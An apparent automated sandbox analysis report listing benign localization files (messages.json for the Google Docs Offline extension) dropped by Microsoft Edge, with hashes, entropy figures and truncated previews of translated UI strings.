Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
